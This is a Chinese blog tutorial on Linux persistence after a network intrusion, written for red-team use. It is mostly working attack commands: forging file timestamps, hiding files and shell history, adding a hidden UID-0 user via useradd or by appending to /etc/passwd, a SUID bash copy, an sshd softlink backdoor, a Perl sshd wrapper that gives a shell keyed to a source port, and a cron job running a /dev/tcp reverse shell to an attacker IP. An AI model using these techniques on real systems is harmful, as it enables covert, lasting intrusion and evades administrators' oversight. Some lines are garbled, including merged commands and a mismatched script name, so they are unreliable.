【内网安全】——Linux权限维持
作者名:白昼安全
主页面链接: 主页传送门
创作初心: 以后赚大钱
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日鸡汤: 钱至少对于现在的我来说,的确是万能的
在红队行动中在网络中获得最初的立足点是一项耗时的任务。因此,持久性是红队成功运作的关键,这将使团队能够专注于目标,而不会失去与指挥和控制服务器的通信。所以,这就引出了我们今天要讲解的内容——权限维持
当然,权限维持我们也是分为windows和linux来讲,上篇文章我们讲到了windows的权限维持姿势,这篇文章就讲解的是Linux的权限维持姿势,这里的姿势也只是讲一些常见的,用的比较多的姿势来讲,希望博客的内容能够帮助到大家
一、木马隐藏
权限维持简单来说就是怕我们好不容易拿到的权限因为用户的排查或者一些原因导致丢失,而如果我们能够将木马藏得够深,够隐蔽,让用户无法排除出来,这样就能让我们的木马一直在目标的电脑上,自然也就实现了权限维持
下面就来介绍几种隐藏木马的姿势
1、时间伪造
查看文件创建时间就是很多的安全人员排查异常文件的方式,也是通过ls -la命令就可以查看
可以看到这里显示time.txt文件是2月22日10:12创建的,这个也称为时间戳,而管理员一旦看到这么新的文件肯定会重点排查一下,这就让我们的木马暴露了
所以很多管理员会通过时间戳查看文件创建的时间,如果是最近创建的,那么就会去重点排查,而我们可以通过下面的命令修改木马的时间戳
touch -r 目标时间戳的文件 要修改时间戳的文件
这样就可以把其他文件的时间戳复制到我们想要修改时间戳的文件,例如:
可以看到这样就实现了对我们木马文件的时间戳的伪造,管理员就无法通过时间戳来查找我们的恶意文件
2、隐藏文件
Linux中以"."(点号)开头的就是隐藏文件
而隐藏文件单纯使用ls是无法查看的,需要使用ls -la才能查看到,如下
可以看到我在该目录创建了一个.hiden.txt文件,再使用ls,并没有找到该文件,而使用ls -la命令就成功找到了刚才创建的.hiden.txt
而如果目标的管理员没有使用ls -la查看文件的一个习惯的话,就很可能找不到这个文件
3、chattr命令
Linux chattr命令用于改变文件属性。
这项指令可改变存放在ext2文件系统上的文件或目录属性,这些属性共有以下8种模式:
a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。
这个操作就比较牛马,主要是用他的“i”选项,效果如下
可以看到当我们使用chattr命令的-i选项对目标文件锁定后就算root权限强制删除都无法删除这个文件
一些不懂的管理员甚至会以为这是系统自带的重要系统配置文件从而不去动
解决锁定的方法:
chattr -i 目标文件名
4、历史记录隐藏
history命令就是显示命令历史记录的指令,如下
这样就可以发现一些攻击者在机器上执行的一些恶意命令,而就有可能发现我们创建的木马,所以我们就要想办法删除这个历史记录或者隐藏我们的输入,指令如下
set +o history
输入这个指令之后,后续输入的命令就不会被记录到history的回显结果中
也就是攻入目标系统之后,先输入这条指令再输入恶意攻击指令,我们的恶意攻击命令就不会被记录
5、SSH登录记录
在Linux中可以使用Last查看账号SSH登录情况
last|grep root
当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间
ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到
ssh -T -i id_rsa root@192.168.110.131 /bin/bash -i
二、添加用户
这个就是在目标机器留下一个高权限的用户,账密我们都知道,自然下次进来时就可以拿到权限了
1、正常生成
步骤如下
1、创建一个名为test,密码为123456的root权限用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test
2、创建之后直接使用root权限登录就可以了
2、改写文件
步骤如下
生成加密后的密码,如下就是生成加密后的123456
perl -le 'print crypt('123456',"addedsalt")'
将加密结果写入passwd文件,这里就是test用户,密码为123456
echo "test:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd
三、suid shell
suid shell 主要是方便提权,配合普通用户使用
使用之后就会让普通用户毫无压力提权,自然也达到了类似权限维持的效果,原理如下:
首先Linux系统上,都会有一个叫Bash的shell文件,这个时候我们可以把这个shell文件copy一份到另外一个文件夹
再把另外一个文件夹加上us(即suid)的一个权限
这样其他用户在登录时,利用suid就可以轻松提权
步骤如下
将文件复制出来
cp /bin/bash /tmp/shell
赋予suid权限
chmod u+s /tmp//shell
这样就设置成功了,我们再使用普通用户登录
执行刚才的文件
/tmp/shell -p
成功拿到权限·,效果如下
四、公钥免密登录
这个操作方式也比较简单,而且我之前写了一篇博客来介绍这种方法,博客链接如下
http://t.csdn.cn/ckgnp
这里就不多讲了,有兴趣的同学们去看看博客就行了
五、SSH软连接
00 利用前提
ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config|grep UsePAM
为Yes即可使用
注意:如果你为root用户的话你也可以 手动将它开启
01总的利用步骤
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上firewall-cmd --reload
#重启防火墙服务firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行ssh root@192.168.149.133 -p 9999
#使用软链接登录,密码可以随便输入
(192.168.149.133为我环境中目标的ip)
六、ssh wrapper
原理:
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
这个原理比较绕,我们也不需要深入的理解,只需要会利用就可以了,下面讲讲利用步骤
服务端(被攻击端)执行如下命令
cd /usr/sbin/
#进入sshd文件所在目录mv sshd ../bin/
#将正常sshd文件移出echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
#将脚本写入新的sshd文件chmod u+x sshd
#赋予文件执行权限/etc/init.d/sshd restart
重启ssh服务
客户端执行如下命令
socat STDIO TCP4:目标ip:22,sourceport=13377
效果如下,成功连接上目标
七、计划任务
又是这种熟悉的方式,相信大家都会了吧,在前面的windows提权,Linux提权,Windows权限维持中都讲到了这种方式,包括最开始使用redis创建计划任务反弹shell,所以这里我们就简单介绍一下利用方式就行了
1、创建一个sh脚本
,例如在/etc下创建了一个shell.sh的脚本,内容如下
#!/bin/bashbash -i >& /dev/tcp/192.168.15.130/6666 0>&1
注意:这里的192.168.15.130为我们kali的攻击机的ip,端口为我们攻击机接收的端口,相当于控制目标主动来连我们
2、赋予执行权限
chmod +sx /etc/shell.sh
3、写入计划任务
vi /etc/crontab
打开计划任务文件
将下面的指令添加到该文件中,意思就是每分钟执行一次我们的恶意文件
*/1 * * * * root /etc/shell.php
4、重启计划任务
service crond restart
5、客户端开启监听
这时候在我们的kali攻击器开启监听就可以成功获取到目标反弹回来的权限
【内网安全】——Linux权限维持相关推荐
- linux实验总结及心得_安全实验室 | 内网渗透—Linux权限维持技巧总结
在上一篇文章中我们介绍了内网渗透中Windows环境下进行权限维持(点击阅读)的方式,本期我们将视角集中在Linux系统中继续对内网渗透中的权限维持方式进行探索.Linux也是在内网渗透中很常见的操作 ...
- 内网渗透-Linux权限维持
Linux权限维持 文章目录 Linux权限维持 前言 ssh后门 Setuid and Setgid Linux隐藏技术 后记 前言 前面讲解了window中的权限维持的方法,本期给大家讲解一下Li ...
- 内网安全:内网渗透.(拿到内网主机最高权限 vulntarget 靶场 A)
内网安全:内网渗透.(拿到内网主机最高权限) 内网穿透又被称为NAT穿透,内网端口映射外网,在处于使用了NAT设备的私有TCP/IP网络中的主机之间建立连接的问题.通过映射端口,让外网的电脑找到处于内 ...
- linux下敏感文件(账号密码)查找—内网渗透linux主机密码收集
目录 find命令 命令格式 按照文件/目录名搜索 linux正则表达式 find同时查找符合多个格式的文件 grep命令 管道符| egrep xargs命令 案例 内网渗透中linux主机查找账号 ...
- 内网渗透-Linux内网渗透
系列文章目录 文章目录 系列文章目录 一.Linux内网渗透 二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权 三.隧道 3.1 SSH ...
- linux 内网yum,Linux下 内网环境 通过ISO yum安装依赖
Linux下 内网环境 通过ISO yum安装依赖 上传系统系统镜像 创建镜像挂载点 mkdir iso 将系统镜像挂载到 /iso 挂载点上 [root@localhost home]# mount ...
- 内网环境 linux 安装pip
https://pypi.org/project/pip/#files 2.拷贝到内网linux 解压 tar -xzvf pip-1.9.2.2.tar.gzcd pip-1.9.2.2安装 pyt ...
- 内网渗透-window权限维持
window权限维持 文章目录 window权限维持 前言 meterpreter权限维持 persistence metsvc 系统工具替换后门 iexplore.exe narrator osk ...
- linux删除内网ip,Linux centOS有2个内网IP地址的原因
1.先用ifconfig,看看有几个网卡 2.执行vi /etc/sysconfig/network-scripts/ifcfg-eth0最后的网卡名字改为实际的 3.静态ip只需要设置着几个地方,B ...
- 内网穿透实现 外网访问内网 Linux 系统 22 端口 (SSH) 教程
此教程可实现在外网 SSH 连接处于内网的 Linux 设备 1. 下载网云穿 linux 版本 可使用 wget 下载或直接在官网下载并使用 rz 命令上传,这里我们选择第一种 首先连接上本地终端, ...
最新文章
- GacUI学习(一)
- Serverless Devs 的官网是如何通过 Serverless Devs 部署的?
- 解决VS2010复制代码中文乱码的问题
- Oracle数据库的测试用户Scott的密码为什么是Tiger?
- 微服务精华问答:什么是微服务架构中的DRY?| 技术头条
- python通信原理_用python通过原始套接字发送scapy包
- 从北京77元房租,说说关于房子的事
- 当try和finally都包含return时
- Win10电脑卡顿原因和解决方法
- eas bos编码重复
- 停用所有计算机管理员权限,win10管理员权限被禁用怎么办_win10电脑管理员账户被禁用如何解开-win7之家...
- 四次挥手为什么要等2个MSL,而不是1个MSL
- 学 C++ ,能不能简单点?
- 非华为电脑使用EMUI10多屏协同教程
- Linux下C++使用Protobuf的安装步骤(vscode)
- 制作docker容器镜像
- 使用A*算法求最短路径
- LTE FDD PSS/SSS/MIB时频资源位置
- Springboot疫苗接种管理系统-JAVA.JSP【计算机毕业设计、源码、开题报告】
- 此时不应有 \Microsoft 或其它的解决办法